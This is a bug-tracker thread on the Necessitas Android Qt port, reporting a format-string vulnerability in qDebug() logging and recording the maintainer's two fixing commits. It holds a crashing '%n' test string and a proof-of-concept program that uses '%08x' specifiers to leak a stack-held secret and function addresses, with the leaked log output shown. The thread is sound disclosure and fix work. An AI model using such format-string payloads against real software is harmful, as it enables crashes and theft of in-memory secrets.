Bug 306483

Summary: Segfault/arbitrary code execution attack available via improper qDebug() implementation
Product: [Unmaintained] Necessitas Reporter: jenna <giantpune>
Component: Android Qt4Assignee: BogDan Vatra <bogdan>
Status: RESOLVED FIXED    
Severity: crash    
Priority: HI    
Version: alpha4   
Target Milestone: Alpha 4   
Platform: Android   
OS: Android 4.x   
Latest Commit: http://commits.kde.org/android-qt/2ba92280f258222c1f13b81b62f2f85dd52abb65 Version Fixed In:
Sentry Crash Report:

Description jenna 2012-09-09 08:54:57 UTC 
When qDebug() and friends send text to the log using the JNI, they use the wrong function that parses the text for printf-style percent arguments.  As a simple test case, compile the code and observe the output on Android VS any other Qt platform.

qDebug( "hello %n %n %n %n %n %n %n %n %n %n %n %n" );

With this simple example, necessitas will probably just crash because the %n starts overwriting stack variables with junk.  If the attacker puts a bit more effort into it, it is possible to create strings that will overwrite the return address on the stack and not crash the program.  This means passing any strings through qDebug()  that contain anything coming from the 'outside world' becomes a route for DoS and arbitrary code execution attacks.


The fix is to use the JNI function that simply send a string, and do not parse the data for any printf arguments.  I'm marking this as critical due to the fact that it allows arbitrary code execution.

Reproducible: Always

Steps to Reproduce:
1. Already discribed
Comment 1 jenna 2012-09-10 02:31:47 UTC 
As another example, assume you have a program which has some data that is supposed to be unknown like a credit card number or an application API key.  If this information is stored in a stack variable, it is possible to exploit the qDebug() implementation to read that information from the stack.


void ProcessYourOrder( const char *ccNumber, const QByteArray &someMessage )
{
    char stackvariable[ 0x10 ];
    if( !ccNumber )
    {
        return;
    }

    memcpy( stackvariable, ccNumber, 0x10 );

    // do something here with the super secret number
    QByteArray something( stackvariable, sizeof( stackvariable ) );
    // ....


    // now print an innocent message
    qDebug() << "The message is:" << someMessage;
}

int main(int argc, char *argv[])
{
    qDebug() << "main() is at" << ::hex << (quint32)&main;
    qDebug() << "ProcessYourOrder() is at" << ::hex << (quint32)&ProcessYourOrder;

    char mySecretNumber[] =
    {
        0x12, 0x34, 0xab, 0xcd, 0x89, 0x55, 0x44, 0x33, 0x00, 0x58, 0x68, 0x90, 0xff, 0xee, 0xcc, 0xdd
    };

    ProcessYourOrder( mySecretNumber, "This is an innocent message" );
    ProcessYourOrder( mySecretNumber, "\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x\n"
                      "%08x %08x %08x %08x" );

    exit( 0 );
    return 0;
}

Using necessital alpha 4.1, this code produced the following output:
I/Qt      (19217): qt start
W/Qt      (19217): Can't set environment "" 
D/Qt      (19217): main() is at 82002b55 
D/Qt      (19217): ProcessYourOrder() is at 82002add 
D/Qt      (19217): The message is: "This is an innocent message" 
D/Qt      (19217): The message is: "
D/Qt      (19217): 00000000 00000000 001e4278 00000000
D/Qt      (19217): 82002a03 44ed8e60 001e4268 afd4d648
D/Qt      (19217): 44ed8ea0 81364224 82002b23 44ed8ea0
D/Qt      (19217): 001f9998 001f99c0 cdab3412 33445589
D/Qt      (19217): 90685800 ddcceeff 8a80445c 44ed8e98
D/Qt      (19217): 44ed8e98 00000004 82002c0b 81364224
D/Qt      (19217): 00000004 000225ce 001e3e28 001fa830
D/Qt      (19217): 001fa830 001fa830 cdab3412 33445589
D/Qt      (19217): 90685800 ddcceeff 8a80445c 001e3e10
D/Qt      (19217): 81341c81 00000000 00000000 00000000
D/Qt      (19217): 00000000 44ed8f00 44ed8f00 81341c19
D/Qt      (19217): 00000000 00000078 81341c19 00000000
D/Qt      (19217): afd119b8 44ed8f00 001f9958 afd38028" 

You can see the contents of mySecretNumber being read from the stack and output through the log output (byte order is reversed due to architecture, it starts about 0x88 bytes into the spew).  Also in the output are function return addresses which can be used to map symbols at runtime.
Comment 2 BogDan Vatra 2012-09-10 17:51:25 UTC 
Git commit 2ba92280f258222c1f13b81b62f2f85dd52abb65 by BogDan Vatra.
Committed on 10/09/2012 at 19:50.
Pushed by vatra into branch 'alpha4'.

Partially fix qDebug() implementation.


qDebug()<< "hello %08x %08x %08x %08x ..."; won't crash anymore.

M  +5    -5    src/corelib/global/qglobal.cpp

http://commits.kde.org/android-qt/2ba92280f258222c1f13b81b62f2f85dd52abb65
Comment 3 BogDan Vatra 2012-09-10 17:53:36 UTC 
I could fix only this one. Please report the previous one to qt-project because is not related to Android (it will crash on your desktop too).

(In reply to comment #1)
> As another example, assume you have a program which has some data that is
> supposed to be unknown like a credit card number or an application API key. 
> If this information is stored in a stack variable, it is possible to exploit
> the qDebug() implementation to read that information from the stack.
> 
> 
> void ProcessYourOrder( const char *ccNumber, const QByteArray &someMessage )
> {
>     char stackvariable[ 0x10 ];
>     if( !ccNumber )
>     {
>         return;
>     }
> 
>     memcpy( stackvariable, ccNumber, 0x10 );
> 
>     // do something here with the super secret number
>     QByteArray something( stackvariable, sizeof( stackvariable ) );
>     // ....
> 
> 
>     // now print an innocent message
>     qDebug() << "The message is:" << someMessage;
> }
> 
> int main(int argc, char *argv[])
> {
>     qDebug() << "main() is at" << ::hex << (quint32)&main;
>     qDebug() << "ProcessYourOrder() is at" << ::hex <<
> (quint32)&ProcessYourOrder;
> 
>     char mySecretNumber[] =
>     {
>         0x12, 0x34, 0xab, 0xcd, 0x89, 0x55, 0x44, 0x33, 0x00, 0x58, 0x68,
> 0x90, 0xff, 0xee, 0xcc, 0xdd
>     };
> 
>     ProcessYourOrder( mySecretNumber, "This is an innocent message" );
>     ProcessYourOrder( mySecretNumber, "\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x\n"
>                       "%08x %08x %08x %08x" );
> 
>     exit( 0 );
>     return 0;
> }
> 
> Using necessital alpha 4.1, this code produced the following output:
> I/Qt      (19217): qt start
> W/Qt      (19217): Can't set environment "" 
> D/Qt      (19217): main() is at 82002b55 
> D/Qt      (19217): ProcessYourOrder() is at 82002add 
> D/Qt      (19217): The message is: "This is an innocent message" 
> D/Qt      (19217): The message is: "
> D/Qt      (19217): 00000000 00000000 001e4278 00000000
> D/Qt      (19217): 82002a03 44ed8e60 001e4268 afd4d648
> D/Qt      (19217): 44ed8ea0 81364224 82002b23 44ed8ea0
> D/Qt      (19217): 001f9998 001f99c0 cdab3412 33445589
> D/Qt      (19217): 90685800 ddcceeff 8a80445c 44ed8e98
> D/Qt      (19217): 44ed8e98 00000004 82002c0b 81364224
> D/Qt      (19217): 00000004 000225ce 001e3e28 001fa830
> D/Qt      (19217): 001fa830 001fa830 cdab3412 33445589
> D/Qt      (19217): 90685800 ddcceeff 8a80445c 001e3e10
> D/Qt      (19217): 81341c81 00000000 00000000 00000000
> D/Qt      (19217): 00000000 44ed8f00 44ed8f00 81341c19
> D/Qt      (19217): 00000000 00000078 81341c19 00000000
> D/Qt      (19217): afd119b8 44ed8f00 001f9958 afd38028" 
> 
> You can see the contents of mySecretNumber being read from the stack and
> output through the log output (byte order is reversed due to architecture,
> it starts about 0x88 bytes into the spew).  Also in the output are function
> return addresses which can be used to map symbols at runtime.
Comment 4 jenna 2012-09-11 00:36:56 UTC 
Thanks for the attention :) .  I think there is still a better way to implement this.  Necessitas is doing

__android_log_print(ANDROID_LOG_DEBUG,"Qt", "%s", buf);

I think a better way to handle it would be to use the log function that goesn't do anything at all with any printf-style arguements - 

__android_log_write( ANDROID_LOG_DEBUG,"Qt", buf );

This is more of an optimization now than anything else.  The function that parses for format arguments is copying the log output 1 byte at a time from your buffer to some internal buffer and looking at each byte to compare it for things like if it is NULL.  Then they process the entire string again, one byte at a time and comparing each byte as that data is sent out to the log.  Using __android_log_write(), it will skip that first processing where the entire log line is needlessly copied to another buffer.  This is like the different between puts() and printf().
Comment 5 BogDan Vatra 2012-09-11 18:10:21 UTC 
Git commit 3453ab340b9a430a1c6fd3a0154cc65544004111 by BogDan Vatra.
Committed on 11/09/2012 at 20:08.
Pushed by vatra into branch 'alpha4'.

Use __android_log_write insead of __android_log_print

M  +5    -5    src/corelib/global/qglobal.cpp

http://commits.kde.org/android-qt/3453ab340b9a430a1c6fd3a0154cc65544004111